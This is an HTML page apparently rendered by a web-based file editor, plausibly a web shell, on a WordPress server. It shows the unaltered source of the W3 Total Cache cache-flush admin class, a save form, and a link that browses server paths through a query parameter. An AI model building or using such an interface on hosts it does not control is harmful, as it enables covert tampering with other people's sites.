<p style='color:red'>❌ domains folder not found.</p><h2>✏️ Editing: Generic_AdminActions_Flush.php</h2><form method='post'>
        <textarea name='content' rows='20' cols='100'>&lt;?php
namespace W3TC;


class Generic_AdminActions_Flush {
	private $_config = null;

	function __construct() {
		$this-&gt;_config = Dispatcher::config();
	}

	/**
	 * Flush all caches action
	 *
	 * @return void
	 */
	function w3tc_flush_all() {
		w3tc_flush_all( array( 'ui_action' =&gt; 'flush_button' ) );
		$this-&gt;_redirect_after_flush( 'flush_all' );
	}

	function w3tc_flush_current_page() {
		$url = filter_input( INPUT_GET, 'url', FILTER_SANITIZE_URL );
		if ( empty( $url ) &amp;&amp; isset( $_SERVER['HTTP_REFERER'] ) ) {
			$url = sanitize_text_field( wp_unslash( $_SERVER['HTTP_REFERER'] ) );
		}
		w3tc_flush_url( $url );

		?&gt;
		&lt;div style=&quot;text-align: center; margin-top: 30px&quot;&gt;
		&lt;h3&gt;Page has been flushed successfully&lt;/h3&gt;
		&lt;a id=&quot;w3tc_return&quot; href=&quot;&lt;?php echo esc_attr( $url ) ?&gt;&quot;&gt;Return&lt;/a&gt;
		&lt;/div&gt;
		&lt;script&gt;
		setTimeout(function() {
			window.location = document.getElementById('w3tc_return').href;
		}, 2000);
		&lt;/script&gt;
		&lt;?php
		exit();
	}

	/**
	 * Flush memcache cache action
	 *
	 * @return void
	 */
	function w3tc_flush_memcached() {
		$this-&gt;flush_memcached();

		Util_Admin::redirect( array(
				'w3tc_note' =&gt; 'flush_memcached'
			), true );
	}

	/**
	 * Flush opcode caches action
	 *
	 * @return void
	 */
	function w3tc_flush_opcode() {
		$this-&gt;flush_opcode();

		Util_Admin::redirect( array(
				'w3tc_note' =&gt; 'flush_opcode'
			), true );
	}

	/**
	 * Flush file caches action
	 *
	 * @return void
	 */
	function w3tc_flush_file() {
		$this-&gt;flush_file();

		Util_Admin::redirect( array(
				'w3tc_note' =&gt; 'flush_file'
			), true );
	}

	/**
	 * Flush from static files and further
	 *
	 * @return void
	 */
	function w3tc_flush_statics() {
		$cf = Dispatcher::component( 'CacheFlush' );
		$cf-&gt;browsercache_flush();
		w3tc_flush_posts();

		$state_note = Dispatcher::config_state_note();
		$state_note-&gt;set( 'common.show_note.flush_statics_needed', false );
		$state_note-&gt;set( 'common.show_note.flush_posts_needed', false );
		$state_note-&gt;set( 'common.show_note.plugins_updated', false );

		Util_Admin::redirect_with_custom_messages2( array(
				'notes' =&gt; array(
					__( 'Static files cache successfully emptied.', 'w3-total-cache' )
				)
			), true );
	}

	/**
	 * Flush posts
	 *
	 * @return void
	 */
	function w3tc_flush_posts() {
		w3tc_flush_posts();

		$state_note = Dispatcher::config_state_note();
		$state_note-&gt;set( 'common.show_note.flush_posts_needed', false );
		$state_note-&gt;set( 'common.show_note.plugins_updated', false );

		$this-&gt;_redirect_after_flush( 'flush_pgcache' );
	}

	/**
	 * Flush page cache action
	 *
	 * @return void
	 */
	function w3tc_flush_pgcache() {
		w3tc_flush_posts( array( 'ui_action' =&gt; 'flush_button' ) );

		$state_note = Dispatcher::config_state_note();
		$state_note-&gt;set( 'common.show_note.flush_posts_needed', false );
		$state_note-&gt;set( 'common.show_note.plugins_updated', false );

		Util_Admin::redirect( array(
				'w3tc_note' =&gt; 'flush_pgcache'
			), true );
	}

	/**
	 * Flush database cache action
	 *
	 * @return void
	 */
	function w3tc_flush_dbcache() {
		$this-&gt;flush_dbcache();

		Util_Admin::redirect( array(
				'w3tc_note' =&gt; 'flush_dbcache'
			), true );
	}

	/**
	 * Flush object cache action
	 *
	 * @return void
	 */
	function w3tc_flush_objectcache() {
		$this-&gt;flush_objectcache();

		$state_note = Dispatcher::config_state_note();
		$state_note-&gt;set( 'objectcache.show_note.flush_needed', false );

		Util_Admin::redirect( array(
				'w3tc_note' =&gt; 'flush_objectcache'
			), true );
	}


	/**
	 * Flush fragment cache action
	 *
	 * @return void
	 */
	function w3tc_flush_fragmentcache() {
		$this-&gt;flush_fragmentcache();

		$this-&gt;_config-&gt;set( 'notes.need_empty_fragmentcache', false );

		$this-&gt;_config-&gt;save();

		Util_Admin::redirect( array(
				'w3tc_note' =&gt; 'flush_fragmentcache'
			), true );
	}

	/**
	 * Flush minify action
	 *
	 * @return void
	 */
	function w3tc_flush_minify() {
		$this-&gt;flush_minify();

		$state_note = Dispatcher::config_state_note();
		$state_note-&gt;set( 'minify.show_note.need_flush', false );

		Util_Admin::redirect( array(
				'w3tc_note' =&gt; 'flush_minify'
			), true );
	}

	/**
	 * Flush browser cache action
	 *
	 * @return void
	 */
	function w3tc_flush_browser_cache() {
		$cacheflush = Dispatcher::component( 'CacheFlush' );
		$cacheflush-&gt;browsercache_flush();

		$state_note = Dispatcher::config_state_note();
		$state_note-&gt;set( 'common.show_note.flush_statics_needed', false );
		$state_note-&gt;set( 'common.show_note.flush_posts_needed', true );

		Util_Admin::redirect( array(
				'w3tc_note' =&gt; 'flush_browser_cache'
			), true );
	}

	/*
	 * Flush varnish cache
	 */
	function w3tc_flush_varnish() {
		$this-&gt;flush_varnish();

		Util_Admin::redirect( array(
				'w3tc_note' =&gt; 'flush_varnish'
			), true );
	}

	/*
	 * Flush CDN mirror
	 */
	function w3tc_flush_cdn() {
		$this-&gt;flush_cdn( array( 'ui_action' =&gt; 'flush_button' ) );

		Util_Admin::redirect( array(
				'w3tc_note' =&gt; 'flush_cdn'
			), true );
	}


	/**
	 * PgCache purge post
	 *
	 * @return void
	 */
	function w3tc_flush_post() {
		$post_id = Util_Request::get_integer( 'post_id' );
		w3tc_flush_post( $post_id, true, array( 'ui_action' =&gt; 'flush_button' ) );

		Util_Admin::redirect( array(
				'w3tc_note' =&gt; 'pgcache_purge_post'
			), true );
	}

	/**
	 * Flush specified cache
	 *
	 * @param string  $type
	 * @return void
	 */
	function flush( $type ) {
		$state = Dispatcher::config_state();
		$state_note = Dispatcher::config_state_note();

		if ( $this-&gt;_config-&gt;get_string( 'pgcache.engine' ) == $type &amp;&amp; $this-&gt;_config-&gt;get_boolean( 'pgcache.enabled' ) ) {
			$state_note-&gt;set( 'common.show_note.flush_posts_needed', false );
			$state_note-&gt;set( 'common.show_note.plugins_updated', false );

			$pgcacheflush = Dispatcher::component( 'PgCache_Flush' );
			$pgcacheflush-&gt;flush();
			$pgcacheflush-&gt;flush_post_cleanup();
		}

		if ( $this-&gt;_config-&gt;get_string( 'dbcache.engine' ) == $type &amp;&amp; $this-&gt;_config-&gt;get_boolean( 'dbcache.enabled' ) ) {
			$this-&gt;flush_dbcache();
		}

		if ( $this-&gt;_config-&gt;get_string( 'objectcache.engine' ) == $type &amp;&amp; $this-&gt;_config-&gt;get_boolean( 'objectcache.enabled' ) ) {
			$this-&gt;flush_objectcache();
		}

		if ( $this-&gt;_config-&gt;get_string( array( 'fragmentcache', 'engine' ) ) == $type ) {
			$this-&gt;flush_fragmentcache();
		}

		if ( $this-&gt;_config-&gt;get_string( 'minify.engine' ) == $type &amp;&amp; $this-&gt;_config-&gt;get_boolean( 'minify.enabled' ) ) {
			$state_note-&gt;set( 'minify.show_note.need_flush', false );
			$this-&gt;flush_minify();
		}
	}

	/**
	 * Flush memcached cache
	 *
	 * @return void
	 */
	function flush_memcached() {
		$this-&gt;flush( 'memcached' );
	}

	/**
	 * Flush APC cache
	 *
	 * @return void
	 */
	function flush_opcode() {
		$cacheflush = Dispatcher::component( 'CacheFlush' );
		$cacheflush-&gt;opcache_flush();
	}

	/**
	 * Flush file cache
	 *
	 * @return void
	 */
	function flush_file() {
		$this-&gt;flush( 'file' );
		$this-&gt;flush( 'file_generic' );
	}

	/**
	 * Flush database cache
	 *
	 * @return void
	 */
	function flush_dbcache() {
		$flusher = Dispatcher::component( 'CacheFlush' );
		$flusher-&gt;dbcache_flush();
	}

	/**
	 * Flush object cache
	 *
	 * @return void
	 */
	function flush_objectcache() {
		$flusher = Dispatcher::component( 'CacheFlush' );
		$flusher-&gt;objectcache_flush();
	}

	/**
	 * Flush fragment cache
	 */
	function flush_fragmentcache() {
		$flusher = Dispatcher::component( 'CacheFlush' );
		$flusher-&gt;fragmentcache_flush();
	}

	/**
	 * Flush minify cache
	 *
	 * @return void
	 */
	function flush_minify() {
		$w3_minify = Dispatcher::component( 'Minify_MinifiedFileRequestHandler' );
		$w3_minify-&gt;flush();
	}

	/**
	 * Flush varnish cache
	 */
	function flush_varnish() {
		// this attaches execute_delayed_operations! otherwise
		// specific module flush will not have effect
		$cacheflush = Dispatcher::component( 'CacheFlush' );

		$varnishflush = Dispatcher::component( 'Varnish_Flush' );
		$varnishflush-&gt;flush();
	}

	/**
	 * Flush CDN mirror
	 */
	function flush_cdn( $extras = array() ) {
		$cacheflush = Dispatcher::component( 'CacheFlush' );
		$cacheflush-&gt;cdn_purge_all( $extras );
	}


	private function _redirect_after_flush( $success_note ) {
		$flush = Dispatcher::component( 'CacheFlush' );
		$status = $flush-&gt;execute_delayed_operations();

		$errors = array();
		foreach ( $status as $i ) {
			if ( isset( $i['error'] ) )
				$errors[] = $i['error'];
		}

		if ( empty( $errors ) ) {
			Util_Admin::redirect( array(
					'w3tc_note' =&gt; $success_note
				), true );
		} else {
			Util_Admin::redirect_with_custom_messages2( array(
					'errors' =&gt; array( 'Failed to purge: ' .
						implode( ', ', $errors ) )
				), true );
		}
	}
}
</textarea><br>
        <input type='submit' name='content_save' value='💾 Save'>
        </form>
        <hr><a href='?go=%2Fhome%2Fmba%2Fpublic_html%2Fwp-content-20250807152928%2Fplugins%2Fw3-total-cache'>🔙 Back</a>